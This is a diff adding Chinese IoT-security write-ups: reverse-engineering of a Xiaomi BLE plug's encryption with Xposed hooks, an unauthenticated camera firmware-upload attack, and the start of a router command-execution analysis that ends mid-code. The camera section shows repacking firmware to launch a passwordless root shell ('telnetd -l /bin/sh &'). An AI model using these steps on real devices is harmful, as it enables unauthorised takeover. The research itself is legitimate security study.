||||

|
||||
|
||||
应该是握手时交换了加密用的密钥?但单纯这样子看加密后的流量,肯定是没办法分析出太多有用的信息的,于是准备从Android端找找突破口。
|
||||
|
||||
# 从某品牌 App 入手
|
||||
|
||||
先看看管理界面的Activity类是啥吧,方便定位逻辑层的代码。
|
||||
|
||||

|
||||
|
||||
于是跟到`com.xiaomi.smarthome.framework.plugin.rn.PluginRNActivityPlugin1`看看,结果发现是空的,啥也没有。
|
||||
|
||||

|
||||
|
||||
结合类名的`RN`可以知道界面应该是`React Native`画的,那么主要的逻辑应该是`JavaScript`写的。
|
||||
|
||||
但是在某品牌App的安装包中并没有找到这个插座相关的东西,猜测应该是热加载的。于是上网逛了一圈,发现一个叫`Xiaomi Miot For HomeAssistant`的项目:[al-one / hass-xiaomi-miot](https://github.com/al-one/hass-xiaomi-miot),他们收集了某品牌绝大多数的设备的热加载插件包,正好是咱们需要的东西:[zimi.plug.zncz01](https://home.miot-spec.com/s/zimi.plug.zncz01)。
|
||||
|
||||

|
||||
|
||||
压缩包里面的`main.bundle`大概率就是`React Native`的界面层和逻辑层的代码了。
|
||||
|
||||

|
||||
|
||||
# React Native 逆向
|
||||
|
||||
打开发现开头有一堆二进制数据,还以为被加密了,但是往下一翻发现就是明文的`JavaScript`,所以先不管开头那部分,找找发送指令的逻辑在哪吧。
|
||||
|
||||

|
||||
|
||||
按照现在前端的思路,按钮这类组件大概率是动态注册的,所以找按钮的显示值应该就能在附近找到按钮的事件。
|
||||
|
||||
于是搜一下`关机`这个关键词(因为某品牌App上的指令按钮显示的文字就是这个),发现有个`i18n`的字典。
|
||||
|
||||

|
||||
|
||||
那就看看哪里用到了`card_turn_off`这个值吧。
|
||||
|
||||

|
||||
|
||||
果然和猜想的一样,毕竟是`react`写的,不动态注册组件都说不过去,所以下面的`onPress`属性里的`setSwitchStatus`函数很明显就是按钮的点击事件了,那就接着找这个函数的定义在哪。
|
||||
|
||||
这个函数定义的方式比较奇怪,看起来似乎是为了`xxx.get("setSwitchStatus")(...)`这么调用的,不过无所谓,和咱们没啥关系。
|
||||
|
||||

|
||||
|
||||
里面有一堆的在线情况的逻辑判断,这些也和我们没关系,咱们只需要看在线情况下怎么发送的指令就行。
|
||||
|
||||
所以对于`connectStatus`的判断,咱们看最后`else`部分就成。
|
||||
|
||||
先是打了下日志,然后定义了好几个回调,最后`setState`那边才有一个处理函数,判断了下连接方式是走的某品牌网关还是蓝牙直连,咱们现在分析的是蓝牙直连的协议,所以网关那个也先不管,那么`sendBleRequest`这个函数调用(js确实有这种看起来很离谱的函数调用写法)应该就是发送指令的地方了,因为其他的都咋看咋不像。
|
||||
|
||||
然后函数第一个参数应该是指令内容,后面的参数应该都是回调之类的,那么咱们只需要关注第一个参数即可,也就是上面的`SWITCH_ON`和`SWITCH_OFF`常量,找了一下这些常量,发现定义及其简单:
|
||||
|
||||

|
||||
|
||||
那就去看`sendBleRequest`函数吧,和第一个参数有关的也就`encryptMessage`函数,应该是加密然后返回结果由`writeWithoutResponse`函数去发送。
|
||||
|
||||

|
||||
|
||||
但是没找到这个`encryptMessage`函数的定义在哪。
|
||||
|
||||

|
||||
|
||||
看来应该是在某品牌App那边了,那就先去某品牌App自己的`JavaScript`层找找,应该不至于直接跳到`Java`层去。
|
||||
|
||||
在`/assets/plugin_rn_sdk/sdk.bundle`里找到了这个函数:
|
||||
|
||||

|
||||
|
||||
所以接着找`encryptMessageXiaoMiBLE`这个函数呗,不过看这个对象名字`_native`,应该是要去`Java`层了,在`JavaScript`层确实也没找到相关的定义。
|
||||
|
||||
# 回到某品牌 App
|
||||
|
||||
果不其然在`Java`层找到了:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
看着像是通过`iyh.O00000Oo`方法处理然后接着给`securityChipEncrypt`去加密。
|
||||
|
||||
那就先看看`iyh.O00000Oo`方法:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
看着应该是`hexstr->byte[]`,所以没啥值得关注的,继续跟`securityChipEncrypt`去。
|
||||
|
||||
结果发现是个抽象定义,那就只能全局搜一下看看具体定义在哪了。
|
||||
|
||||

|
||||
|
||||
第二个是抽象定义,那就第一个是了,接着跟。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
可以发现把指令数据存到`Bundle`里去了,key是`extra.byte.array`,接着看`O000000o`方法。
|
||||
|
||||

|
||||
|
||||
那么就看`callBluetoothApi`方法吧,结果跟进去是个接口类。
|
||||
|
||||

|
||||
|
||||
那就搜一下具体实现定义在哪咯。
|
||||
|
||||

|
||||
|
||||
有点多,那就写个hook咱自己调用一遍看看`O00000Oo()`返回的类是哪个吧。
|
||||
|
||||

|
||||
|
||||
```kotlin
|
||||
package com.example.hooktest.hook
|
||||
|
||||
import com.highcapable.yukihookapi.YukiHookAPI
|
||||
import com.highcapable.yukihookapi.annotation.xposed.InjectYukiHookWithXposed
|
||||
import com.highcapable.yukihookapi.hook.log.loggerD
|
||||
import com.highcapable.yukihookapi.hook.type.android.BundleClass
|
||||
import com.highcapable.yukihookapi.hook.type.java.IntType
|
||||
import com.highcapable.yukihookapi.hook.type.java.StringType
|
||||
import com.highcapable.yukihookapi.hook.xposed.proxy.IYukiHookXposedInit
|
||||
|
||||
@InjectYukiHookWithXposed
|
||||
class Main : IYukiHookXposedInit {
|
||||
override fun onInit() = YukiHookAPI.configs {
|
||||
debugLog {
|
||||
tag = "mijia_hook"
|
||||
}
|
||||
isDebug = false
|
||||
}
|
||||
override fun onHook() = YukiHookAPI.encase {
|
||||
loadApp("com.xiaomi.smarthome") {
|
||||
"com.xiaomi.smarthome.frame.core.CoreApi".hook {
|
||||
|
||||
injectMember {
|
||||
method {
|
||||
name("O000000o")
|
||||
param(StringType, IntType, BundleClass, "com.xiaomi.smarthome.core.server.bluetooth.IBleResponse")
|
||||
}
|
||||
beforeHook {
|
||||
loggerD(msg=method {
|
||||
name("O00000Oo")
|
||||
paramCount(0)
|
||||
}.get(instance).call()!!.javaClass.name)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
可以看到输出的是`com.xiaomi.smarthome.core.server.ICoreApi$Stub$Proxy`这个类。
|
||||
|
||||

|
||||
|
||||
跟过去看看。
|
||||
|
||||

|
||||
|
||||
看起来还是走了`com.xiaomi.smarthome.core.server.CoreApiStub.callBluetoothApi`,那就接着跟。
|
||||
|
||||

|
||||
|
||||
结果`O000000o(String str, int i, Bundle bundle, IBleResponse iBleResponse)`这个方法又是接口类里面的,不过幸好就一处实现,直接过去就行。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
这回可以看出来,之前传进来的`43`是用来走分支的,咱去43分支看看逻辑。
|
||||
|
||||

|
||||
|
||||
可以看出来之前存进`Bundle`的指令内容(key是`extra.byte.array`)又被拿出来然后传给`gsr.O000000o`了,接着跟。
|
||||
|
||||

|
||||
|
||||
然后是`gzk.O000000o`方法,再跟。
|
||||
|
||||

|
||||
|
||||
可以看到数据去了`hbu.O000000o`方法,不过额外传进来了另外两组数据,不过可以看出来,数据来源都是`gwn.O0000oo(str)`。那就先写个hook看看`hbu.O000000o`的输入输出数据是啥吧。
|
||||
|
||||
```kotlin
|
||||
"_m_j.hbu".hook {
|
||||
injectMember {
|
||||
method {
|
||||
name("O000000o")
|
||||
param("byte[]", "byte[]", "byte[]")
|
||||
}
|
||||
beforeHook {
|
||||
loggerD(msg="${instanceClass.name}.${method.name} i: ${(args[0] as ByteArray).joinToString("") { "%02x".format(it) }}, ${(args[1] as ByteArray).joinToString("") { "%02x".format(it) }}, ${(args[2] as ByteArray).joinToString("") { "%02x".format(it) }}")
|
||||
}
|
||||
afterHook {
|
||||
loggerD(msg="${instanceClass.name}.${method.name} o: ${(result as ByteArray).joinToString("") { "%02x".format(it) }}")
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
那第一个应该是固定的,至少现在还没变,然后第二个是后半截在累加,前面也没动,第三个就咱的指令。然后返回的结果看起来就是要发送的加密后的数据了。
|
||||
|
||||
进去看看加密逻辑吧,那俩数据怎么来的待会再看。
|
||||
|
||||

|
||||
|
||||
可以看到大大的`AES`,然后第一个参数当`key`,再全部传给了`O000000o`方法,那就接着跟。
|
||||
|
||||

|
||||
|
||||
第二个参数应该是另一个加密参数,具体是啥参数还得看具体的加密算法,然后传给`O000000o`方法得到一个`hbd`对象,然后调用它的`O000000o`方法进行加密,结果通过`O00000Oo`方法获取。
|
||||
|
||||
那就先看`O000000o`方法,可以看到一个英文报错,看来应该是哪个标准库里的。
|
||||
|
||||

|
||||
|
||||
在这[CCMBlockCipher.java](https://github.com/bcgit/bc-java/blob/master/core/src/main/java/org/bouncycastle/crypto/modes/CCMBlockCipher.java#L111)找到一个差不多的函数,看来应该是用的`AES-CCM`,所以第二个参数应该就是`nonce`,然后`key`长度是16字节,那应该是`AES-CCM-128`了。
|
||||
|
||||
找了个[在线工具](https://const.net.cn/tool/aes/aes-ccm/)测试了一下,发现确实是。
|
||||
|
||||

|
||||
|
||||
密文+4字节tag就是加密结果,确实和之前的hook结果一样。
|
||||
|
||||

|
||||
|
||||
那么现在加密算法知道了,咱就剩下那俩参数是如何生成的不知道了。
|
||||
|
||||
# 回头看
|
||||
|
||||
那么`gwn.O0000oo`肯定是逃不掉被hook的命运了。
|
||||
|
||||
```kotlin
|
||||
"_m_j.gwn".hook {
|
||||
injectMember {
|
||||
method {
|
||||
name("O0000oo")
|
||||
param(StringType)
|
||||
}
|
||||
beforeHook {
|
||||
loggerD(msg="${instanceClass.name}.${method.name} i: ${args[0]}")
|
||||
}
|
||||
afterHook {
|
||||
loggerD(msg="${instanceClass.name}.${method.name} o: ${(result as ByteArray).joinToString("") { "%02x".format(it) }}")
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
就是传入了插座的`mac`,然后能传出来64字节的数据,其中`[16:32]`作为了加密的`key`使用,`[36:40]`作为`nonce`的前4字节,然后按照先前的`nonce`拼接逻辑可以知道,中间4字节一直是空的,最后4字节应该是序号。
|
||||
|
||||
但是这个6字节的`mac`地址生成64字节的数据,这信息熵不太对啊,总不能是一堆无意义填充吧,那就跟进去看看。
|
||||
|
||||

|
||||
|
||||
然后是`O0000oo0`方法。得到结果后交给`jzi.O000000o`处理,那看看`jzi.O000000o`。
|
||||
|
||||

|
||||
|
||||
看起来还是个`hexstr->byte[]`的方法,那主要就是`O0000oo0`方法了,进去看看。
|
||||
|
||||

|
||||
|
||||
这开个`Map`去存东西的方式,感觉是类似于缓存一样的操作,那就看`put`的内容就行,既然这边把`mac`地址当成了`Map`的`K`,那么咱关注`Map`的`V`就行,不过这个`Map`的`put`有俩地方,不确定是哪个。
|
||||
|
||||

|
||||
|
||||
那就只能都hook一下看看哪处被调用之后能有值吧。
|
||||
|
||||
```kotlin
|
||||
"_m_j.gwn".hook {
|
||||
injectMember {
|
||||
method {
|
||||
name("O0000oo0")
|
||||
param(StringType)
|
||||
}
|
||||
afterHook {
|
||||
(field {
|
||||
name("O000000o")
|
||||
}.get().any() as Map<String, String>)["68:AB:BC:53:72:21"]?.let { loggerD(msg="${instanceClass.name}.${method.name} $it") }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
"_m_j.gwn".hook {
|
||||
injectMember {
|
||||
method {
|
||||
name("O0000Ooo")
|
||||
param(StringType, StringType)
|
||||
}
|
||||
afterHook {
|
||||
(field {
|
||||
name("O000000o")
|
||||
}.get().any() as Map<String, String>)["68:AB:BC:53:72:21"]?.let { loggerD(msg="${instanceClass.name}.${method.name} $it") }
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
可以看见是`gwn.O0000Ooo`函数调用后才有值,那就跟过去看看。
|
||||
|
||||

|
||||
|
||||
直接第一行就是把传入的两个参数当成`K/V`给`put`进去了,那就看看调用链,结果发现有两处。
|
||||
|
||||

|
||||
|
||||
那就hook一下看看堆栈吧。
|
||||
|
||||
```kotlin
|
||||
"_m_j.gwn".hook {
|
||||
injectMember {
|
||||
method {
|
||||
name("O0000Ooo")
|
||||
param(StringType, StringType)
|
||||
}
|
||||
beforeHook {
|
||||
loggerD( msg = "${instanceClass.name}.${method.name} i: ${args[0]}, ${args[1]}")
|
||||
|
||||
val stackElements = Throwable().stackTrace
|
||||
for (i in stackElements.indices) {
|
||||
val element = stackElements[i]
|
||||
loggerD(msg = "at ${element.className}.${element.methodName}(${element.fileName}:${element.lineNumber})")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
可以看到带有值的那次调用是来自`_m_j.gwn.O00000o`方法,跟!
|
||||
|
||||

|
||||
|
||||
有个`jzi.O00000o0`方法,跟!
|
||||
|
||||

|
||||
|
||||
这回是个`byte[]->hexstr`方法,这转来转去不累的嘛...
|
||||
|
||||
那就回去看`O00000o`的第二个参数怎么来的吧。
|
||||
|
||||

|
||||
|
||||
又是有好多来源,那还是打调用堆栈呗。
|
||||
|
||||
```kotlin
|
||||
"_m_j.gwn".hook {
|
||||
injectMember {
|
||||
method {
|
||||
name("O00000o")
|
||||
param(StringType, "byte[]")
|
||||
}
|
||||
beforeHook {
|
||||
loggerD( msg = "${instanceClass.name}.${method.name} i: ${args[0]}, ${(args[1] as ByteArray).joinToString("") { "%02x".format(it) }}")
|
||||
|
||||
val stackElements = Throwable().stackTrace
|
||||
for (i in stackElements.indices) {
|
||||
val element = stackElements[i]
|
||||
loggerD(msg = "at ${element.className}.${element.methodName}(${element.fileName}:${element.lineNumber})")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
可以看到是来自`_m_j.gyv.O000000o`,跟!
|
||||
|
||||

|
||||
|
||||
数据来源又是上一个调用的`Bundle`里的`session_key`,跟!
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
还是上一个调用来的,只能接着跟了,不过调用这个函数的有好多。
|
||||
|
||||

|
||||
|
||||
那就看一下之前的调用堆栈吧,可以知道是来自`com.xiaomi.smarthome.core.server.internal.bluetooth.security.BleSecurityConnector.O00000Oo`,跟!
|
||||
|
||||

|
||||
|
||||
是个类静态变量`O00000oO`,那有得看是之前啥时候赋值的了。
|
||||
|
||||

|
||||
|
||||
和`session_key`相关的`put`有4个,然后还有个`putAll`也有可能...
|
||||
|
||||
那还是写个对`putByteArray`的hook看看调用堆栈吧。
|
||||
|
||||
```kotlin
|
||||
BundleClass.hook {
|
||||
injectMember {
|
||||
method {
|
||||
name("putByteArray")
|
||||
}
|
||||
beforeHook {
|
||||
if ((args[0] as String) == "session_key") {
|
||||
loggerD( msg = "${instanceClass.name}.${method.name} i: ${args[0]}, ${(args[1] as ByteArray).joinToString("") { "%02x".format(it) }}")
|
||||
|
||||
val stackElements = Throwable().stackTrace
|
||||
for (i in stackElements.indices) {
|
||||
val element = stackElements[i]
|
||||
loggerD(msg = "at ${element.className}.${element.methodName}(${element.fileName}:${element.lineNumber})")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
就`_m_j.gyw.O000000o`这一个有调用,跟!
|
||||
|
||||

|
||||
|
||||
又是类静态变量,看看赋值情况。
|
||||
|
||||

|
||||
|
||||
就一处赋值,跟!
|
||||
|
||||

|
||||
|
||||
数据来源是`O000000o`方法处理过的一个拼接`byte[]`,拼接情况是前32字节看起来是什么私钥,后32字节是上一级传进来的第二个参数。
|
||||
|
||||
看了下`O000000o`方法,是个`hmac`相关的东西,最后获取结果是`O000000o.O000000o`方法。
|
||||
|
||||

|
||||
|
||||
进去看一下发现是个`hkdf`算法,那就是`hkdf(拼接byte, "miot-mesh-login-salt", "miot-mesh-login-info", 64)`。
|
||||
|
||||
那就回去看那个私钥吧,其调用的对象又是类的静态变量`O0000o00`,看看赋值。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
是`hbu.O000000o`生成的`KeyPair`,跟!
|
||||
|
||||

|
||||
|
||||
emm...椭圆曲线的`EC-secp256r1`算法生成的密钥对,彳亍。
|
||||
|
||||
那又回去,上面使用私钥的时候,还套了个`hbu.O000000o`方法,传进来第一个参数是公钥套上同样方法的结果,然后公钥处理用的又是这次传的第一个参数在开头拼上1字节的0x04。那么就看`hbu.O000000o`方法了。
|
||||
|
||||
然后就发现两次的方法并不一样,这个是私钥的:
|
||||
|
||||

|
||||
|
||||
明显的`ECDH`算法。
|
||||
|
||||
公钥的是:
|
||||
|
||||

|
||||
|
||||
也是明显的`EC`算法。
|
||||
|
||||
那就回头看看之前传进来的两个参数是哪来的吧。
|
||||
|
||||

|
||||
|
||||
第一个是上一层继续传的,第二个是其他地方事先准备好的类静态变量。
|
||||
|
||||

|
||||
|
||||
接着追上一层调用。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
发现是个监听事件,那大概率是插座传过来的了,所以这个应该是插座的公钥。
|
||||
|
||||
那再看看另一个参数,赋值就一处。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
还是接着跟。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
看这命名情况,应该是绑定之后就固定的一个值,然后两个调用来源分别是首次绑定和已绑定的情况。
|
||||
|
||||

|
||||
|
||||
那就回到`_m_j.gyw.O000000o`方法去hook一下看看传参,然后抓包看看猜测对不对。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
第一个参数确实是插座发过来的。
|
||||
|
||||
然后多次尝试连接,看看hook日志。
|
||||
|
||||

|
||||
|
||||
第二个参数确实是固定的。
|
||||
|
||||
所以整个协议的大致流程是这样子的。
|
||||
|
||||

|
||||
|
||||
那么实际上分析到这里,懂密码学的已经明白,在这种用了ECDH的情况下,我们作为中间人如果去截获某品牌BLE协议,那么只能拿到插座在握手时发来的插座公钥和某品牌App发过去的某品牌App公钥。而咱们如果需要解密某品牌App发过去的消息,就需要知道插座的私钥,但是私钥直接在插座内存里,想要获取几乎不可能;如果需要解密插座发过来的消息,就需要知道某品牌App的私钥,这个我们如果能拿到手机的root权限当然可以,但是在作为中间人时,咱们同样也没什么办法去获取。
|
||||
|
||||
# 最后
|
||||
|
||||
1. 某品牌BLE协议在实现上充分考虑了防重放,在使用`AES-CCM-128`加密时,使用了消息序号相关的`nonce`,并且在消息中包含了消息序号,使得重放攻击变得十分困难。(除非未做消息序号合法性验证)
|
||||
2. 某品牌BLE协议在实现上充分考虑了防中间人窃听,使用了`ECDH-secp256r1`这类非对称密钥算法,使得解密消息依赖于不公开的私钥;使用了`HKDF`这类密钥推导算法,使得密钥复杂度得以提升。因此想要解密截获的消息也变得十分困难。
|
||||
3. 某品牌App在编写时有意识地使用了反逆向手段,如包名、类名、方法名、成员名的混淆,并且混淆程度较高,充分利用了Java的多态性,但是对于一些不必要的信息却并没有做混淆,如关键字符串、引用包中的报错信息,这些还是可以帮助逆向者猜测其代码行为。
|
||||
4. 某品牌App的React Native代码并没有做太多的混淆,看着似乎只是使用了少了的混淆手段(感觉是打包时自动的),许多关键信息都直接暴露在逆向者面前。
|
||||
|
||||
但是实际上在逆向分析的过程中,我每次打开某品牌App都会有一个`toast`气泡提示我的手机已被`root`,需要注意系统安全。但它并没有采取任何对抗的措施,比如金融类App十分常见的卡屏、闪退等。它这样似乎表明了一个态度:开放和自信——你大可以来看我的代码,我的协议没有缺陷。
|
||||
|
||||
总结一句话,某品牌在协议设计上可以看出来其一流的专业水平,除非其依赖的一些算法被爆出重要漏洞,否则无解。
|
||||
@@ -0,0 +1,160 @@
|
||||
# 某摄像头存在通用未授权命令执行漏洞
|
||||
> 0431物联卫士实验室
|
||||
> 来源:https://www.iotsec-zone.com/article/164
|
||||
|
||||
将摄像头与互联网进行连接初始化之后,使用nmap扫描摄像头的开放端口:
|
||||
|
||||

|
||||
|
||||
可以看到摄像头开放了五个端口,这里关注到80端口,在浏览器中输入`http://192.168.2.116:80`
|
||||
|
||||

|
||||
|
||||
发现会302重定向到`http://192.168.2.116/home.htm`,最终跳转到`http://192.168.2.116/xxx/xxx/XXTest.asp`:
|
||||
|
||||

|
||||
|
||||
而这个网站什么都没有。因为有官方的手机App,所以在不逆向的前提下可以通过抓包分析手机与云服务的通信状态,其中有一个关于固件升级的包:
|
||||
|
||||
```json
|
||||
//---------------------------------------------------------------固件升级
|
||||
POST /xx/xx/query_device_upgrade_task HTTP/1.1
|
||||
Host: www.xxx.com
|
||||
Content-Type: application/json; charset=utf-8
|
||||
Content-Length: 278
|
||||
Accept-Encoding: gzip, deflate
|
||||
User-Agent: okhttp/3.12.8
|
||||
Connection: close
|
||||
|
||||
{
|
||||
"header": {
|
||||
"device_list": [
|
||||
"xxx"
|
||||
],
|
||||
"seqno": "xxx",
|
||||
"user_id": "xxx",
|
||||
"package_name": "xxx",
|
||||
"language": "zh_CN",
|
||||
"client_version": "x.x.x.x",
|
||||
"token": "xxx",
|
||||
"phone_model": "xxx"
|
||||
}
|
||||
}
|
||||
|
||||
//---------------------------------------------------------------响应包
|
||||
HTTP/1.1 200 OK
|
||||
Date: Mon, 04 Jul 2022 00:57:26 GMT
|
||||
Content-Type: text/plain; charset=utf-8
|
||||
Content-Length: 463
|
||||
Connection: close
|
||||
Set-Cookie: xxx=xxx; path=/
|
||||
Set-Cookie: xxx=xxx; path=/
|
||||
Server: elb
|
||||
|
||||
{
|
||||
"error_code": "0",
|
||||
"error_msg": "success",
|
||||
"body_info": {
|
||||
"upgrade_task": [
|
||||
{
|
||||
"device_id": "xxx",
|
||||
"is_force": "N",
|
||||
"main_version": {
|
||||
"device_version": "xx.xx.xx.xx",
|
||||
"version_type": 0,
|
||||
"url": "http://xxx.img",
|
||||
"md5sum": "xxx",
|
||||
"remark": "1.优化固件功能,提高用户体验。",
|
||||
"is_support_sdcard_prealloc": 1,
|
||||
"last_app_version": ""
|
||||
},
|
||||
"sub_versions": [],
|
||||
"switchto_sdcard_prealloc": "Y"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
即,当摄像头存在固件升级时可以获取固件的URL,将固件下载后因为发现固件过小,所以可以知道是"增量包"而不是"全量包",在ubuntu中尝试使用`firmware_mod_kit`的`./extract-firmware.sh`进行解压:
|
||||
|
||||

|
||||
|
||||
摄像头使用的架构为MIPS 32位小端序:
|
||||
|
||||

|
||||
|
||||
来到固件目录,使用grep命令尝试搜索关键字:
|
||||
|
||||

|
||||
|
||||
goahead中的`http://"+location.hostname+"/xxxx/xxx/upload_firmware.asp`引人注目,在浏览器中访问:
|
||||
|
||||

|
||||
|
||||
发现未授权固件上传漏洞。查看增量包中的两个shell脚本,修改其中的startapp:
|
||||
|
||||

|
||||
|
||||
发现内置的telnetd接口,取消其注释,使用`firmware_mod_kit`的`build-firmware.sh`重新打包:
|
||||
|
||||

|
||||
|
||||
为了避免一些不必要的问题,我们将打包后的固件重命名为原升级包的名称:
|
||||
|
||||

|
||||
|
||||
使用`upload_firmware.asp`上传:
|
||||
|
||||

|
||||
|
||||
再次使用nmap扫描端口:
|
||||
|
||||

|
||||
|
||||
开放了telnet的23端口,尝试连接:
|
||||
|
||||

|
||||
|
||||
嘶,需要密码,回到配置文件,修改为`telnetd -l /bin/sh &`
|
||||
|
||||

|
||||
|
||||
保存修改后重新打包上传:
|
||||
|
||||

|
||||
|
||||
重新尝试telnet登录:
|
||||
|
||||

|
||||
|
||||
拿到root shell,可以使用的命令如下:
|
||||
|
||||

|
||||
|
||||
命令还不少,有base64、wget等。web目录在:
|
||||
|
||||

|
||||
|
||||
这能访问的asp页面不少啊,其中就包括前面使用的`upload_firmware.asp`。关于telnetd:
|
||||
|
||||

|
||||
|
||||
`telnetd -l /bin/sh &`:`telnetd -l /bin/sh`表示直接启动shell,`&`表示telnet后台运行。并且因为摄像头有云服务,所以它也是通外网的:
|
||||
|
||||

|
||||
|
||||
因为这个摄像头有base64命令,所以可以通过它来上传或下载文件,比如现在我要下载`goahead`,对文件进行base64编码:
|
||||
|
||||

|
||||
|
||||
将编码保存到txt中,然后`base64 --decode`即可:
|
||||
|
||||

|
||||
|
||||
## 总结:
|
||||
|
||||
1. 通过流量分析软件/固件的行为,或许是一个很便捷的方法。
|
||||
2. 厂商不注重对某些网页的鉴权,甚至可以导致任意刷写修改过后的固件。
|
||||
3. 通过取消注释启动脚本中的telnet服务,即可建立主机与摄像头的telnet链接。
|
||||
4. 对文件进行base编码即可达到下载传输文件的目的。
|
||||
@@ -0,0 +1,362 @@
|
||||
# 某米路由器命令执行漏洞分析
|
||||
> meigui
|
||||
> 来源:https://www.iotsec-zone.com/article/504
|
||||
|
||||
### 固件分析与解包
|
||||
|
||||
使用binwalk 命令先看看固件相关的信息,可以看他是一个ubi镜像,我们得使用专门ubi提取固件的工具进行提取,看到ubi那可以判断他是nand类型的闪存
|
||||
|
||||

|
||||
|
||||
我们使用binwalk进行解包,发现有一个2B4.ubi镜像,使用下面的教程就可以解压出来。
|
||||
```basic
|
||||
binwalk -Me miwifi_ra70_firmware_cc424_1.0.168.bin
|
||||
```
|
||||

|
||||
|
||||
安装工具:
|
||||
|
||||
```python
|
||||
pip install ubireader
|
||||
```
|
||||
|
||||
提取:
|
||||
|
||||
```python
|
||||
ubireader_extract_images 2B4.ubi
|
||||
```
|
||||

|
||||
|
||||
解包发现有个ubifs文件,我们只有需要去解密最核心的rootfs文件,即可得到里面的SquashFS文件系统。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
#### ✅ 总结流程图
|
||||
|
||||
固件.bin
|
||||
↓ binwalk
|
||||
发现 UBI 结构 (0x2B4 等)
|
||||
↓
|
||||
提取 UBI 镜像 (dd 或 binwalk)
|
||||
↓
|
||||
用 ubireader_extract_images
|
||||
↓
|
||||
提取出 UBIFS 镜像
|
||||
↓
|
||||
用 ubireader_extract_files 解包 或者binwalk
|
||||
↓
|
||||
得到文件系统内容
|
||||
|
||||
### unluac_miwifi的使用
|
||||
|
||||
某米的前端是使用是lua脚本,是编译后luac文件, 且是魔改后的luac, 那么还需要对其进行反编译
|
||||
|
||||
<font style="color:rgb(36, 41, 47);">专门针对某米固件的反编译工具</font>[<font style="color:rgb(9, 105, 218);">unluac_miwifi</font>](https://github.com/NyaMisty/unluac_miwifi)
|
||||
|
||||
```python
|
||||
git clone https://github.com/NyaMisty/unluac_miwifi.git
|
||||
cd unluac_miwifi
|
||||
mkdir build
|
||||
javac -d build -sourcepath src src/unluac/*.java
|
||||
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build .
|
||||
```
|
||||
解密
|
||||
|
||||
```python
|
||||
java -jar ./unluac.jar /home/iotsec-zone/xiaomi/ubifs-root/miwifi_r2100_all_7d7b2_2.0.743.bin/squashfs-root/usr/lib/lua/luci/controller/api/xqdatacenter.lua > ./xqdatacenter.lua
|
||||
```
|
||||
|
||||
### 某米后端逻辑
|
||||
|
||||
米使用是openwrt框架下cgi的主要逻辑在usr/lib/lua/luci/controller/目录下, 此外还有一个某米自己常用的库在路径usr/lib/lua/xiaoqiang/, 我们关注的主要也就是这两部分
|
||||
|
||||
### 漏洞存在位置
|
||||
|
||||
web路径cgi-bin/luci/;stok={token}/api/xqdatacenter/request,需要我们传入`payload` 字段包含的是一段 JSON 数据,JSON数据中包含api,pluginID等字段。
|
||||
|
||||
### 漏洞利用链分析
|
||||
|
||||
在反编译的`/usr/lib/lua/luci/controller/api/xqdatacenter.lua`中,可以看到 URL `/api/xqdatacenter/request` 相关的`handler`函数是`tunnelRequest`函数,且访问`/api/xqdatacenter`这个节点是需要鉴权的,我们使用ai让我们代码具有可读性。
|
||||
|
||||
```lua
|
||||
local L0, L1, L2, L3, L4, L5
|
||||
L0 = module
|
||||
L1 = "luci.controller.api.xqdatacenter"
|
||||
L2 = package
|
||||
L2 = L2.seeall
|
||||
L0(L1, L2)
|
||||
function L0()
|
||||
local L0, L1, L2, L3, L4, L5, L6
|
||||
L0 = node
|
||||
L1 = "api"
|
||||
L2 = "xqdatacenter"
|
||||
L0 = L0(L1, L2)
|
||||
L1 = firstchild
|
||||
L1 = L1()
|
||||
L0.target = L1
|
||||
L0.title = ""
|
||||
L0.order = 300
|
||||
L0.sysauth = "admin"
|
||||
L0.sysauth_authenticator = "jsonauth"
|
||||
L0.index = true
|
||||
L1 = entry
|
||||
L2 = {}
|
||||
L3 = "api"
|
||||
L4 = "xqdatacenter"
|
||||
L2[1] = L3
|
||||
L2[2] = L4
|
||||
L3 = firstchild
|
||||
L3 = L3()
|
||||
L4 = _
|
||||
L5 = ""
|
||||
L4 = L4(L5)
|
||||
L5 = 300
|
||||
L1(L2, L3, L4, L5)
|
||||
L1 = entry
|
||||
L2 = {}
|
||||
L3 = "api"
|
||||
L4 = "xqdatacenter"
|
||||
L5 = "request"
|
||||
L2[1] = L3
|
||||
L2[2] = L4
|
||||
L2[3] = L5
|
||||
L3 = call
|
||||
L4 = "tunnelRequest"
|
||||
L3 = L3(L4)
|
||||
L4 = _
|
||||
L5 = ""
|
||||
L4 = L4(L5)
|
||||
L5 = 301
|
||||
L1(L2, L3, L4, L5)
|
||||
```
|
||||
|
||||
```lua
|
||||
module("luci.controller.api.xqdatacenter", package.seeall)
|
||||
|
||||
function index()
|
||||
local page
|
||||
|
||||
-- 创建节点 /api/xqdatacenter
|
||||
page = node("api", "xqdatacenter")
|
||||
page.target = firstchild()
|
||||
page.title = ""
|
||||
page.order = 300
|
||||
page.sysauth = "admin"
|
||||
page.sysauth_authenticator = "jsonauth"
|
||||
page.index = true
|
||||
|
||||
-- 映射 /api/xqdatacenter 到 firstchild()(一般是目录节点)
|
||||
entry({"api", "xqdatacenter"}, firstchild(), _(""), 300)
|
||||
|
||||
